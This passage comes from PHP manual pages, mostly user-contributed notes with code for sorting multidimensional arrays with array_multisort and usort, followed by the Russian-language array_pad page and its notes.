        array("NUMCIE" => "001","REF" => "RXL","COLOR" => "RED","L1" => 4),
        array("NUMCIE" => "001","REF" => "RXL","COLOR" => "BLUE","L1" => 6),
        array("NUMCIE" => "001","REF" => "RHQ","COLOR" => "RED","L1" => 4),
        array("NUMCIE" => "002","REF" => "RXL","COLOR" => "YELLOW","L1" => 8));

    foreach($myArray as $c=>$key) {
        $sort_numcie[] = $key['NUMCIE'];
        $sort_ref[] = $key['REF'];
        $sort_color[] = $key['COLOR'];
    }

    array_multisort($sort_numcie, SORT_ASC, $sort_ref, SORT_STRING, $myArray);
    print_r($myArray);

?>

//Result array

Array
(
    [0] => Array
        (
            [NUMCIE] => 001
            [REF] => RHQ
            [COLOR] => RED
            [L1] => 4
        )

    [1] => Array
        (
            [NUMCIE] => 001
            [REF] => RXL
            [COLOR] => BLUE
            [L1] => 6
        )

    [2] => Array
        (
            [NUMCIE] => 001
            [REF] => RXL
            [COLOR] => RED
            [L1] => 4
        )

    [3] => Array
        (
            [NUMCIE] => 002
            [REF] => RXL
            [COLOR] => YELLOW
            [L1] => 8
        )

)
Jaak Tamre 22-Mar-2011 06:42
I had a problem with sorting SimpleXMLElement list. I found a nice short solution.

I have an array of ticket objects: $ticketList = $xml->Tickets;

<?php
// Sort by ValidOnDate
$tickets = array();
$valid = array();
foreach ($ticketList as $row) {
    $tickets[] = $row;
    $valid[] = DateHandler::parseDate($row->ValidOnDate);
}
array_multisort($valid, SORT_DESC, $tickets);
?>

Just make an array of object items you want to sort by and a new array for the same objects which will be reordered like the first array.

Ps: my own parseDate(date) returns unix timestamp for different date formats.
jimpoz at jimpoz dot com 21-Oct-2010 02:26
I came up with an easy way to sort database-style results. This does what example 3 does, except it takes care of creating those intermediate arrays for you before passing control on to array_multisort().

<?php
function array_orderby()
{
    $args = func_get_args();
    $data = array_shift($args);
    foreach ($args as $n => $field) {
        if (is_string($field)) {
            $tmp = array();
            foreach ($data as $key => $row)
                $tmp[$key] = $row[$field];
            $args[$n] = $tmp;
            }
    }
    $args[] = &$data;
    call_user_func_array('array_multisort', $args);
    return array_pop($args);
}
?>

The sorted array is now in the return value of the function instead of being passed by reference.

<?php
$data[] = array('volume' => 67, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 1);
$data[] = array('volume' => 85, 'edition' => 6);
$data[] = array('volume' => 98, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 6);
$data[] = array('volume' => 67, 'edition' => 7);

// Pass the array, followed by the column names and sort flags
$sorted = array_orderby($data, 'volume', SORT_DESC, 'edition', SORT_ASC);
?>
zequez at gmail dot com 06-May-2010 03:19
Easiest way I find out to sort an entire multidimensional array by one element of it:

<?php
$multiArray = Array(
    Array("id" => 1, "name" => "Defg"),
    Array("id" => 2, "name" => "Abcd"),
    Array("id" => 3, "name" => "Bcde"),
    Array("id" => 4, "name" => "Cdef"));
$tmp = Array();
foreach($multiArray as &$ma)
    $tmp[] = &$ma["name"];
array_multisort($tmp, $multiArray);
foreach($multiArray as &$ma)
    echo $ma["name"]."<br/>";

/* Outputs
    Abcd
    Bcde
    Cdef
    Defg
*/
?>

^-^
alexander dot v at zend dot com 20-Jan-2010 03:42
array_multisort works normally in php 5.3, but it forces arguments to be references.

It doesn't make differences for common array_multisort() usage, but makes "problems" for sorting variable number of arrays where call_user_func_array() function is involved.

So all sorting arrays have to be collected into new one as a references to array variables:

<?php
$sortArgs = array();

for (...) {
    ...
    $sortArgs[] = &$valuesArray;
    ...
}

call_user_func_array('array_multisort', $sortArgs);
?>

This (requiring arguments to be a reference) is not actually a problem since source array will not be sorted otherwise.

Important note!
Don't forget to destroy $valuesArray variable if you use it over each array_multisort() argument processing iteration.
If you don't do it, all array_multisort() arguments will contain the same array:

<?php
for (...) {
    ...
    $sortArgs[] = &$valuesArray;
    unset($valuesArray);
    ...
}
?>

And the last important thing :)
Collect sorting arrays somewhere. PHP 5.3 will transfer reference into value (when $valuesArray is destroyed) and you will get "Parameter 1 to array_multisort() expected to be a reference, value given" warning again otherwise.

Final code should look like this:

<?php
$sortArgs = array();
$sortFieldValues = array();

for (...) {
    ...
    $sortFieldValues[] = &$valuesArray;
    $sortArgs[] = &$valuesArray;
    unset($valuesArray);
    ...
}

call_user_func_array('array_multisort', $sortArgs);
?>
cagret at gmail dot com 20-Jun-2009 12:16
A more inuitive way of sorting multidimensional arrays using array_msort() in just one line, you don't have to divide the original array into per-column-arrays:

<?php

$arr1 = array(
    array('id'=>1,'name'=>'aA','cat'=>'cc'),
    array('id'=>2,'name'=>'aa','cat'=>'dd'),
    array('id'=>3,'name'=>'bb','cat'=>'cc'),
    array('id'=>4,'name'=>'bb','cat'=>'dd')
);

$arr2 = array_msort($arr1, array('name'=>SORT_DESC, 'cat'=>SORT_ASC));

debug($arr1, $arr2);

arr1:
    0:
        id: 1 (int)
        name: aA (string:2)
        cat: cc (string:2)
    1:
        id: 2 (int)
        name: aa (string:2)
        cat: dd (string:2)
    2:
        id: 3 (int)
        name: bb (string:2)
        cat: cc (string:2)
    3:
        id: 4 (int)
        name: bb (string:2)
        cat: dd (string:2)
arr2:
    2:
        id: 3 (int)
        name: bb (string:2)
        cat: cc (string:2)
    3:
        id: 4 (int)
        name: bb (string:2)
        cat: dd (string:2)
    0:
        id: 1 (int)
        name: aA (string:2)
        cat: cc (string:2)
    1:
        id: 2 (int)
        name: aa (string:2)
        cat: dd (string:2)

function array_msort($array, $cols)
{
    $colarr = array();
    foreach ($cols as $col => $order) {
        $colarr[$col] = array();
        foreach ($array as $k => $row) { $colarr[$col]['_'.$k] = strtolower($row[$col]); }
    }
    $eval = 'array_multisort(';
    foreach ($cols as $col => $order) {
        $eval .= '$colarr[\''.$col.'\'],'.$order.',';
    }
    $eval = substr($eval,0,-1).');';
    eval($eval);
    $ret = array();
    foreach ($colarr as $col => $arr) {
        foreach ($arr as $k => $v) {
            $k = substr($k,1);
            if (!isset($ret[$k])) $ret[$k] = $array[$k];
            $ret[$k][$col] = $array[$k][$col];
        }
    }
    return $ret;

}

?>
m dot michalczyk at gmail dot com 16-May-2009 03:45
Here is useful example based on za at byza dot it solution to sort multidimensional objects by any dimension.
za at byza dot it
<?php
/* Example structure */
class person{
    function __construct($firstName, $lastName, $title, $position){
        $this->firstName = $firstName;
        $this->lastName = $lastName;
        $this->title = new title($title);
        $this->position = new position($position);
    }
}
class title{
    function __construct($name){
        $this->name = $name;
    }

}
class position{
    function __construct($name){
        $this->name = $name;
    }

}

$array[] = new person('Piotr', 'Sobiepanek', 'b', 'b');
$array[] = new person('Piotr', 'Kowalski', 'b', 'a');
$array[] = new person('Piotr', 'Michalski', 'a', 'a');
$array[] = new person('Jozef', 'Smietana', 'a', 'b');
$array[] = new person('Jozef', 'Cmietana', 'a', 'b');
$array[] = new person('Marcin', 'Kondraciuk', 'c', 'b');
$array[] = new person('Maksym', 'Kondraciuk', 'c', 'd');
$array[] = new person('Ambrozy', 'Kondraciuk', 'c', 'd');
$array[] = new person('Alojzy', 'Kondraciuk', 'c', 'd');

array_sort($array, 'title->name', 'position->name', 'lastName');
print_r($array);

/* Source */

function hod(&$base, $path){
    $keys = explode("->", $path);
    $keys[0] = str_replace('$', '', $keys[0]);
    $expression = '$ret = ';
    $expression.= '$';
    foreach ($keys as $key){
        if (++$licz == 1){
            $expression.= 'base->';
        } else {
            $expression.= $key.'->';
        }
    }
    $expression = substr($expression, 0, -2);
    $expression.= ';';
    eval($expression);
    return $ret;
}

function array_sort_func($a,$b=NULL) {
   static $keys;
   if($b===NULL) return $keys=$a;
   foreach($keys as $k) {
      if($k[0]=='!') {
         $k=substr($k,1);
         if(hod($a, '$a->'.$k)!==hod($b, '$b->'.$k)) {
            return strcmp(hod($b, '$b->'.$k),hod($a, '$a->'.$k));
         }
      }
      else if(hod($a, '$a->'.$k)!==hod($b, '$b->'.$k)) {
         return strcmp(hod($a, '$a->'.$k),hod($b, '$b->'.$k));
      }
   }
   return 0;
}

function array_sort(&$array) {
   if(!$array) return $keys;
   $keys=func_get_args();
   array_shift($keys);
   array_sort_func($keys);
   usort($array,"array_sort_func");
}
?>
mech.cx 28-Mar-2009 12:04
I was (as near everyone here :-) looking to sort 2-dimensional arrays by certain fields in the associative sub-arrays.
What I didn't like about the documentation examples is that you need to loop through the input array to create sub arrays first, then use those in the function call.

"php a-t-the-r-a-t-e chir.ag" (http://www.php.net/manual/en/function.array-multisort.php#60401) wrote a quite cunning wrapper function, I rewrote it slightly, changing variable names and adding comments (for my sanity :-) mostly.
One snag I found: the input array is passed to array_multisort as last argument, but the changed array is not the one that is returned. Passing it by reference fixed that. This seems to be caused by the whole thing sitting inside the call_user_func_array, as shown below.

<?php

$points = array(1, 5, 2, 2);
$names  = array('peter', 'mike', 'john Zoo', 'john Ab');

$source = array (
  array ( 'points' => 1, 'name' => 'Peter'),
  array ( 'points' => 5, 'name' => 'Mike'),
  array ( 'points' => 2, 'name' => 'John Zoo'),
  array ( 'points' => 2, 'name' => 'John Ab')
);

call_user_func_array('array_multisort', array($points, SORT_DESC, SORT_NUMERIC, $names, SORT_ASC, SORT_STRING, $source)); // doesn't work
print_r($source);
call_user_func_array('array_multisort', array($points, SORT_DESC, SORT_NUMERIC, $names, SORT_ASC, SORT_STRING, &$source)); // works!
print_r($source);

// Call like arrayColumnSort('points', SORT_DESC, SORT_NUMERIC, 'name', SORT_ASC, SORT_STRING, $source);

// Slightly adapted from http://www.php.net/manual/en/function.array-multisort.php#60401

// arrayColumnSort(string $field, [options, ], string $field2, [options, ], .... , $array) /

//____________________
// arrayColumnSort() /
function arrayColumnSort() {
  $args  = func_get_args();
  $array = array_pop($args);
  if (! is_array($array)) return false;
  // Here we'll sift out the values from the columns we want to sort on, and put them in numbered 'subar' ("sub-array") arrays.
  //   (So when sorting by two fields with two modifiers (sort options) each, this will create $subar0 and $subar3)
  foreach($array as $key => $row) // loop through source array
    foreach($args as $akey => $val) // loop through args (fields and modifiers)
      if(is_string($val))             // if the arg's a field, add its value from the source array to a sub-array
        ${"subar$akey"}[$key] = $row[$val];
  // $multisort_args contains the arguments that would (/will) go into array_multisort(): sub-arrays, modifiers and the source array
  $multisort_args = array();
  foreach($args as $key => $val)
    $multisort_args[] = (is_string($val) ? ${"subar$key"} : $val);
  $multisort_args[] = &$array;   // finally add the source array, by reference
  call_user_func_array("array_multisort", $multisort_args);
  return $array;
}

?>
frank at overdrunk dot net 14-Jan-2009 02:38
I had a function to make a sort on a 2D array and I wanted to sort an array using a column that usualy contains numeric values but also strings.

Lets say we have this array :

Array (
  [0] => Array ( "name" = "12000" ),
  [1] => Array ( "name" = "113" ),
  [2] => Array ( "name" = "test 01" ),
  [3] => Array ( "name" = "15000 tests" ),
  [4] => Array ( "name" = "45" ),
  [5] => Array ( "name" = "350" ),
  [6] => Array ( "name" = "725" ),
  [7] => Array ( "name" = "hello" )
}

SORT_STRING whould have returned me this :

Array ( // Numeric values are not correctly sorted
  [0] => Array ( "name" = "113" ),
  [1] => Array ( "name" = "12000" ),
  [2] => Array ( "name" = "15000 tests" ),
  [3] => Array ( "name" = "350" ),
  [4] => Array ( "name" = "45" ),
  [5] => Array ( "name" = "725" ),
  [6] => Array ( "name" = "hello" ),
  [7] => Array ( "name" = "test 01" )
}

SORT_NUMERIC would have returned me this :

Array ( // String values are not sorted, just in the same order
  [0] => Array ( "name" = "test 01" ),
  [1] => Array ( "name" = "hello" ),
  [2] => Array ( "name" = "45" ),
  [3] => Array ( "name" = "113" ),
  [4] => Array ( "name" = "350" ),
  [5] => Array ( "name" = "725" ),
  [6] => Array ( "name" = "12000" ),
  [7] => Array ( "name" = "15000 tests" ),
}

So I've made this hybrid code which combines the best of both worlds by merging content sorted either way according to the first caracter of the string:

<?php
/**
 * Sorts an array according to a specified column
 * Params : array  $table
 *          string $colname
 *          bool   $numeric
 **/
function sort_col($table, $colname) {
  $tn = $ts = $temp_num = $temp_str = array();
  foreach ($table as $key => $row) {
    if(is_numeric(substr($row[$colname], 0, 1))) {
      $tn[$key] = $row[$colname];
      $temp_num[$key] = $row;
    }
    else {
      $ts[$key] = $row[$colname];
      $temp_str[$key] = $row;
    }
  }
  unset($table);

  array_multisort($tn, SORT_ASC, SORT_NUMERIC, $temp_num);
  array_multisort($ts, SORT_ASC, SORT_STRING, $temp_str);
  return array_merge($temp_num, $temp_str);
}
?>

It would return something like this :

Array (
  [2] => Array ( "name" = "45" ),
  [3] => Array ( "name" = "113" ),
  [4] => Array ( "name" = "350" ),
  [5] => Array ( "name" = "725" ),
  [6] => Array ( "name" = "12000" ),
  [7] => Array ( "name" = "15000 tests" ),
  [1] => Array ( "name" = "hello" ),
  [0] => Array ( "name" = "test 01" ),
}
Zbigniew Heintze http://bigweb.pl 26-Nov-2008 11:36
<?php
/**
 * Sort DB result
 *
 * @param array $data Result of sql query as associative array
 *
 * Rest of parameters are optional
 * [, string $name  [, mixed $name or $order  [, mixed $name or $mode]]]
 * $name string - column name i database table
 * $order integer - sorting direction ascending (SORT_ASC) or descending (SORT_DESC)
 * $mode integer - sorting mode (SORT_REGULAR, SORT_STRING, SORT_NUMERIC)
 *
 * <code>
 * <?php
 * // You can sort data by several columns e.g.
 * $data = array();
 * for ($i = 1; $i <= 10; $i++) {
 *     $data[] = array( 'id' => $i,
 *                      'first_name' => sprintf('first_name_%s', rand(1, 9)),
 *                      'last_name' => sprintf('last_name_%s', rand(1, 9)),
 *                      'date' => date('Y-m-d', rand(0, time()))
 *                  );
 * }
 * $data = sortDbResult($data, 'date', SORT_DESC, SORT_NUMERIC, 'id');
 * printf('<pre>%s</pre>', print_r($data, true));
 * $data = sortDbResult($data, 'last_name', SORT_ASC, SORT_STRING, 'first_name', SORT_ASC, SORT_STRING);
 * printf('<pre>%s</pre>', print_r($data, true));
 * ?>
 * </code>
 *
 * @return array $data - Sorted data
 */
function sortDbResult(array $data /*$name, $order, $mode*/) {
    $_argList = func_get_args();
    $_data = array_shift($_argList);
    if (empty($_data)) {
        return $_data;
    }
    $_max = count($_argList);
    $_params = array();
    $_cols = array();
    $_rules = array();
    for ($_i = 0; $_i < $_max; $_i += 3)
    {
        $_name = (string) $_argList[$_i];
        if (!in_array($_name, array_keys(current($_data)))) {
            continue;
        }
        if (!isset($_argList[($_i + 1)]) || is_string($_argList[($_i + 1)])) {
            $_order = SORT_ASC;
            $_mode = SORT_REGULAR;
            $_i -= 2;
        } else if (3 > $_argList[($_i + 1)]) {
            $_order = SORT_ASC;
            $_mode = $_argList[($_i + 1)];
            $_i--;
        } else {
            $_order = $_argList[($_i + 1)] == SORT_ASC ? SORT_ASC : SORT_DESC;
            if (!isset($_argList[($_i + 2)]) || is_string($_argList[($_i + 2)])) {
                $_mode = SORT_REGULAR;
                $_i--;
            } else {
                $_mode = $_argList[($_i + 2)];
            }
        }
        $_mode = $_mode != SORT_NUMERIC
                    ? $_argList[($_i + 2)] != SORT_STRING ? SORT_REGULAR : SORT_STRING
                    : SORT_NUMERIC;
        $_rules[] = array('name' => $_name, 'order' => $_order, 'mode' => $_mode);
    }
    foreach ($_data as $_k => $_row) {
        foreach ($_rules as $_rule) {
            if (!isset($_cols[$_rule['name']])) {
                $_cols[$_rule['name']] = array();
                $_params[] = &$_cols[$_rule['name']];
                $_params[] = $_rule['order'];
                $_params[] = $_rule['mode'];
            }
            $_cols[$_rule['name']][$_k] = $_row[$_rule['name']];
        }
    }
    $_params[] = &$_data;
    call_user_func_array('array_multisort', $_params);
    return $_data;
}
?>
matt at idizinc dot com 23-Oct-2008 11:47
I looked on some forms for an answer to this simple problem and couldn't find one so I came up with a solution that may help in some situations.

How do you sort an array by a field in that array and resolve numeric ties randomly?

Code:
<?php

foreach($list as $temp_list)
{
   $sort_aux[] = ($temp_list['column_to_sort_by']+(rand(1, 9)/10));
}
array_multisort($sort_aux, SORT_NUMERIC, $list);

?>

Example:

$list[]=array('name'=>'Tom', 'score'=>3);
$list[]=array('name'=>'Sam', 'score'=>3);
$list[]=array('name'=>'Joey', 'score'=>1);

Explanation:
I took an existing example found above that shows how to sort an array by one of it's columns/fields.
I just added: "+(rand(1,9)/10)" To randomly add .1 through .9 to their score to resolve the tie. (Obviously this specific example only works if you're sorting by an integer... so you may need to modify it to suit your needs.)

Hope this helps someone.
isp dot php at spspft dot de 19-Oct-2008 05:44
I would like to report a kind of confusion that arose with the message

Warning: Call-time pass-by-reference has been deprecated; If you would like to pass it by reference, modify the declaration of array_multisort(). If you would like to enable call-time pass-by-reference, you can set allow_call_time_pass_reference to true in your INI file...

from a line like this:

array_multisort (&$keyarr, &$arr );// sort against this keys

This message is not easily switched off by changing the error reporting level because it's produced at parsinig time -- not execution time.

I think this message is misleading because the arguments are passed by reference ANYWAY in array_multisort.

Anybody encountering this message should know that nothing has to be done, except deleting the ampersands (&).
I was tricked by this message because of couse I wanted to have the *sorted* array back. And couldn't find the ini file nor the declaration of array_multisort.
I think in this description of array_multisort the call by reference should be listed in the definition.

Hope this helps someone
seiffs_at_centrum-dot-cz 18-Aug-2008 08:53
There have to be two corrections to the php_multisort($data,$keys)

    // Sort Expression
    $i=0;
    $sort='';  //here
    foreach ($keys as $k){
      if($i>0){$sort.=',';}
      $sort.='$cols[\''.$k['key'].'\']'; //and here
      if($k['sort']){$sort.=',SORT_'.strtoupper($k['sort']);}
      if($k['type']){$sort.=',SORT_'.strtoupper($k['type']);}
      $i++;
    }
Jon L. -- intel352 [AT] gmail [DOT] com 26-Feb-2007 08:27
This is my solution for a dynamic multisort, using POST values. This doesn't account for a need to sort by multiple columns at once, but could be modified for that purpose.

<?php
    /**
    * @desc You really should validate the posted sort direction against a list of valid possibilities.
    *         Options are SORT_ASC, SORT_DESC, etc, as shown in the documentation for array_multisort
    */
    $sort['direction'] = $_POST['sort_direction'] ? $_POST['sort_direction'] : 'SORT_ASC';
    $sort['field']       = $_POST['sort_field'] ? $_POST['sort_field'] : 'value';

    $array_to_sort = array();
    $array_to_sort['TestCase1'] = array('name'=>'Test1','value'=>'218');
    $array_to_sort['TestCase2'] = array('name'=>'Test2','value'=>'10');
    $array_to_sort['TestCase3'] = array('name'=>'Test3','value'=>'64');

    /**
    * @desc Build columns using the values, for sorting in php
    */
    $sort_arr = array();
    foreach($array_to_sort AS $uniqid => $row){
        foreach($row AS $key=>$value){
            $sort_arr[$key][$uniqid] = $value;
        }
    }

    print '<b>Before sorting</b>: <br> <pre>';
    print_r($array_to_sort);
    print '</pre>';

    if($sort['direction']){
        array_multisort($sort_arr[$sort['field']], constant($sort['direction']), $array_to_sort);
    }

    print '<b>After sorting</b>: <br> <pre>';
    print_r($array_to_sort);
    print '</pre>';

?>

This example prints out:

Before sorting:

Array
(
    [TestCase1] => Array
        (
            [name] => Test1
            [value] => 218
        )

    [TestCase2] => Array
        (
            [name] => Test2
            [value] => 10
        )

    [TestCase3] => Array
        (
            [name] => Test3
            [value] => 64
        )

)

After sorting:

Array
(
    [TestCase2] => Array
        (
            [name] => Test2
            [value] => 10
        )

    [TestCase3] => Array
        (
            [name] => Test3
            [value] => 64
        )

    [TestCase1] => Array
        (
            [name] => Test1
            [value] => 218
        )

)
brettz9 throu gh yah 14-Sep-2006 12:04
Often, one may have a group of arrays which have parallel data that need to be kept associated with each other (e.g., the various attribute values of a group of elements might be stored in their own arrays). Using array_multisort as is, by specifying additional fields, it is possible, as in the documentation example cited below, that this association will be lost.

To take this example set of data from the documentation:
<?php
$ar1 = array("10", 100, 100, "a");
$ar2 = array(1, 3, "2", 1);
?>

The example goes on to sort it this way:
<?php
array_multisort($ar1, $ar2);
?>

In this case, although the "10" remains associated with the first '1' after being sorted, the "2" and '3' are reversed from their original order.

In order to sort by one field only (yet still have the other array(s) being correspondingly sorted), one can use array_keys (which makes an array out of the keys) to ensure that no further sub-sorting is performed. This works because array_keys is making an array for which no duplicates can exist (since keys will be unique), and thus, the subsequent fields will have no relevance as far as subsorting.

So, using the above data, we can perform this sort instead:
<?php
$ar3 = array_keys($ar1);
array_multisort($ar1, $ar3, $ar2);
?>

which, when $ar1 and $ar2 are dumped gives:

array(4) {
  [0]=> string(2) "10"
  [1]=> string(1) "a"
  [2]=> int(100)
  [3]=> int(100)
}
array(4) {
  [0]=>  int(1)
  [1]=>  int(1)
  [2]=>  int(3)
  [3]=>  string(1) "2"
}
KES http://kes.net.ua 27-Jul-2006 05:30
<?
//sort by second column then first one
$orderBy=array('0'=>'desc', 'first'=>'asc');

function KES_cmp($a, $b) {
  global $orderBy;
  $result= 0;
  foreach( $orderBy as $key => $value ) {
    if( $a[$key] == $b[$key] ) continue;
    $result= ($a[$key] < $b[$key])? -1 : 1;
    if( $value=='desc' ) $result= -$result;
    break;
    }
  return $result;
  }

$result= array();
$result[]= array( 'first'=>6, 2);
$result[]= array( 'first'=>3, 2);
$result[]= array( 'first'=>1, 3);
$result[]= array( 'first'=>1, 2);
$result[]= array( 'first'=>6, 1);

print "<b>Source</b>";
print_r($result);

usort($result, 'KES_cmp');
print "<b>Result</b>";
print_r($result);
?>
scott - evolove - net - work it out 22-Mar-2006 07:51
A very simple way to sort an array of associative arrays by some value is to use usort.

I needed to sort an array of 20 data structures by their 'distance' value:

Array
(
    [0] => Array
        (
            [blahblah] => blahblah
            [distance] => 6
        )

    [1] => Array
        (
          you get the idea....

Here's the code:

--------------------
usort($results, "distributor_compare");

/**
 * usort callback
 */
function distributor_compare($a, $b) {
    $adist = intval($a['distance']);
    $bdist = intval($b['distance']);

    if ($adist == $bdist) {
     return 0;
     }
     return ($adist < $bdist) ? -1 : 1;
}
--------------------
php a-t-the-r-a-t-e chir.ag 05-Jan-2006 02:10
Re: phu at kungphu, 19-Dec-2005 11:36

asort($test) will not let me specify which columns to sort ASC/DESC, NUMERIC/STRING etc.

I have data similar to what you specified. Now I want to sort $test by points DESC and name ASC. Here's my function that does it, based on suggestions on this page. It uses array_multisort (and hence acts just like it: preserving string-keys etc.)

<?php

  function arrayColumnSort()
  {
    $n = func_num_args();
    $ar = func_get_arg($n-1);
    if(!is_array($ar))
      return false;

    for($i = 0; $i < $n-1; $i++)
      $col[$i] = func_get_arg($i);

    foreach($ar as $key => $val)
      foreach($col as $kkey => $vval)
        if(is_string($vval))
          ${"subar$kkey"}[$key] = $val[$vval];

    $arv = array();
    foreach($col as $key => $val)
      $arv[] = (is_string($val) ? ${"subar$key"} : $val);
    $arv[] = $ar;

    call_user_func_array("array_multisort", $arv);
    return $ar;
  }

  $test["pete"]['points']=1;
  $test["pete"]['name']='Peter';

  $test["mike"]['points']=5;
  $test["mike"]['name']='Mike';

  $test["zoo"]['points']=2;
  $test["zoo"]['name']='John Zoo';

  $test["ab"]['points']=2;
  $test["ab"]['name']='John Ab';

  $test1 = $test;

  asort($test1);

  $test2 = arrayColumnSort("points", SORT_DESC, SORT_NUMERIC, "name", SORT_ASC, SORT_STRING, $test);

  print_r($test1); // asort
  print_r($test2); // arrayColumnSort

?>

Output from asort:

Array
(
    [pete] => Array
        (
            [points] => 1
            [name] => Peter
        )

    [ab] => Array
        (
            [points] => 2
            [name] => John Ab
        )

    [zoo] => Array
        (
            [points] => 2
            [name] => John Zoo
        )

    [mike] => Array
        (
            [points] => 5
            [name] => Mike
        )

)

Output from arrayColumnSort:

Array
(
    [mike] => Array
        (
            [points] => 5
            [name] => Mike
        )

    [ab] => Array
        (
            [points] => 2
            [name] => John Ab
        )

    [zoo] => Array
        (
            [points] => 2
            [name] => John Zoo
        )

    [pete] => Array
        (
            [points] => 1
            [name] => Peter
        )

)
RWC 25-Sep-2005 01:45
This is the simpler version of the function by AlberT.

A lot of times you have got an array like this:

$test[0]['name']='Peter';
$test[0]['points']=1;

$test[1]['name']='Mike';
$test[1]['points']=5;

$test[2]['name']='John';
$test[2]['points']=2;

You just want to sort on the index in the second dimension, ie. on points in the above example.

You can use the function below and call it like this:

$test = multi_sort($test, $key = 'points');

function multi_sort($array, $akey)
{
  function compare($a, $b)
  {
     global $key;
     return strcmp($a[$key], $b[$key]);
  }
  usort($array, "compare");
  return $array;
}

Note: to be able to use $key in the compare function, it can not simply be passed as a parameter. It has to be declared global and set somewhere outside of compare().
joao at intrasystems dot com dot br 07-Apr-2005 12:27
Exemple of sorting multi-dimensional arrays by one of it's fields:

$result[0]['nome']='Joao';
$result[0]['order']=5;
$result[1]['nome']='Pedro';
$result[1]['order']=1;
$result[2]['nome']='Marcelo';
$result[2]['order']=3;

foreach($result as $res)
     $sortAux[] = $res['order'];

array_multisort($sortAux, SORT_ASC, $result);

print_r($result);

produces:

Array
(
    [0] => Array
        (
            [nome] => Pedro
            [order] => 1
        )

    [1] => Array
        (
            [nome] => Marcelo
            [order] => 3
        )

    [2] => Array
        (
            [nome] => Joao
            [order] => 5
        )

)
meddle at dzygn.com 05-Oct-2004 07:40
If you want to sort a multidomensional array by key name you cannot use array_multisort. ie: for an array named $archivos that prints like this:

Array
(
    [0] => Array
        (
            [index] => 0
            [name] => test
        )

    [1] => Array
        (
            [index] => 0
            [name] => watertaxi.jpg
        )

    [2] => Array
        (
            [index] => 0
            [name] => 2_0003.JPG
        )

    [3] => Array
        (
            [index] => 0
            [name] => 24A_0025.JPG
        )

    [4] => Array
        (
            [index] => 1
            [name] => _CIMG3501.JPG
        )

)

If I wanted to order by "name" I'd use:

function comparar($a, $b) {
        return strnatcasecmp($a["name"], $b["name"]);
}
usort($archivos, "comparar");

This function performs a case insensitive string comparison using a "natural order" algorithm (strnatcasecmp), resulting in:

Array
(
    [0] => Array
        (
            [index] => 0
            [name] => 2_0003.JPG
        )

    [1] => Array
        (
            [index] => 0
            [name] => 24A_0025.JPG
        )

    [2] => Array
        (
            [index] => 0
            [name] => test
        )

    [3] => Array
        (
            [index] => 0
            [name] => watertaxi.jpg
        )

    [4] => Array
        (
            [index] => 1
            [name] => _CIMG3501.JPG
        )

)


Дополняет массив значением до заданной длины

  • « array_multisort
  • array_pop »
  • PHP Manual
  • Функции для работы с массивами
  • Дополняет массив значением до заданной длины

array_pad

(PHP 4, PHP 5, PHP 7, PHP 8)

array_pad — Дополняет массив значением до заданной длины

Описание

array_pad(array $array, int $length, mixed $value): array

Функция array_pad() возвращает копию массива array, который дополняет элементами со значением value до заданного в параметре length размера. Если параметр length положителен, то функция дополняет массив справа, если отрицателен — слева. Если абсолютное значение параметра length меньше или равно размеру массива array, функция не дополняет массив.

Список параметров

array

Исходный массив, который функция дополнит значениями.

length

Новый размер массива.

value

Значение для дополнения, если длина массива array меньше значения параметра length.

Возвращаемые значения

Функция возвращает копию массива array, который дополняет до заданного в параметре length размера значением value. Если параметр length положителен, то функция дополняет массив справа, если отрицателен — слева. Если абсолютное значение параметра length меньше или равно размеру массива array, функция не выполняет операций.

Список изменений

Версия | Описание
8.3.0 | До PHP 8.3 можно было добавить не более 1 048 576 элементов. Теперь это ограниченно только размером массива.

Примеры

Пример #1 Пример использования array_pad()

<?php

$input = array(12, 10, 9);

$result = array_pad($input, 5, 0);
// результат: array(12, 10, 9, 0, 0)

$result = array_pad($input, -7, -1);
// Результат: array(-1, -1, -1, -1, 12, 10, 9)

$result = array_pad($input, 2, "noop");
// Операция не выполнена

Смотрите также

  • array_fill() - Заполняет массив значениями
  • range() - Создаёт массив, содержащий диапазон элементов

User Contributed Notes

slava-san at mail dot ru 06-Jul-2013 10:58
// insert element to array
function array_insert(&$arr, $pos, $new_el=null) {
    $arraypad = array_pad($arr, count($arr)+1, 0);
    for ($i=count($arr)-1; $i>=$pos; $i--) {
        $arr[$i+1] = $arr[$i];
        if ($i == $pos) {
            $arr[$i] = $new_el;
        }
    }
}

$digits = array();
$digits[0] = 0;
$digits[1] = 1;
$digits[2] = 2;
$digits[3] = 3;
$digits[4] = 4;
$digits[5] = 5;
echo "was: "; var_dump($digits);

array_insert($digits, 3, 100);
echo "new: "; var_dump($digits);
sonu50imedbvu at gmail dot com(Sonu Jaiswal) 12-Jan-2011 12:53
Just an info about the value of "$pad_size" ,

If we set the value of "$pad_size" from -3 to 3,

It will produce the output like:

<?php
$result = array_pad($input, -3, "noop");
//result is array(12, 10, 9)

$result = array_pad($input, 3, "noop");
//result is array(12, 10, 9)
?>

means array will remain the same.
tugla 18-Dec-2008 09:23
Beware, if you try to pad an associative array using numeric keys, your keys will be re-numbered.

<?php
$a = array('size'=>'large', 'number'=>20, 'color'=>'red');
print_r($a);
print_r(array_pad($a, 5, 'foo'));

// use timestamps as keys
$b = array(1229600459=>'large', 1229604787=>20, 1229609459=>'red');
print_r($b);
print_r(array_pad($b, 5, 'foo'));
?>

yields this:
------------------
Array
(
    [size] => large
    [number] => 20
    [color] => red
)
Array
(
    [size] => large
    [number] => 20
    [color] => red
    [0] => foo
    [1] => foo
)
Array
(
    [1229600459] => large
    [1229604787] => 20
    [1229609459] => red
)
Array
(
    [0] => large
    [1] => 20
    [2] => red
    [3] => foo
    [4] => foo
)
hk, StrApp Bussiness Solutions 08-Jan-2007 02:15
A simple example for array_pad()

the syntax is as follows: array_pad(array(), (+/-)int, value)

where "array" is the array to which the value is to be added,

"(+/-) int" is a value that decides the length of the array(it should be greater than the length of the array.
if its a negative number then the value will be added at the left of the array else it will be added to the right.

"values" denotes the value to be added to the array

lets try an example:

<?php

$digits = array();
$digits[0] = 1;
$digits[1] = 2;
$digits[2] = 3;
$arraypad = array_pad($digits, -4, "0");
print_r($arraypad);

?>

output:

Array ( [0] => 0 [1] => 1 [2] => 2 [3] => 3 )
oaev at mail dot ru 21-Oct-2004 11:48
Easy way to get an array contains 5 random numbers from 0 to 9:

$rand_arr = array_rand( array_pad( array(), 10, 1 ), 5 );
28-Feb-2004 09:00
One way to initialize a 20x20 multidimensional array.

<?php
$a = array();
$b = array();
$b = array_pad($b,20,0);
$a = array_pad($a,20,$b);
?>
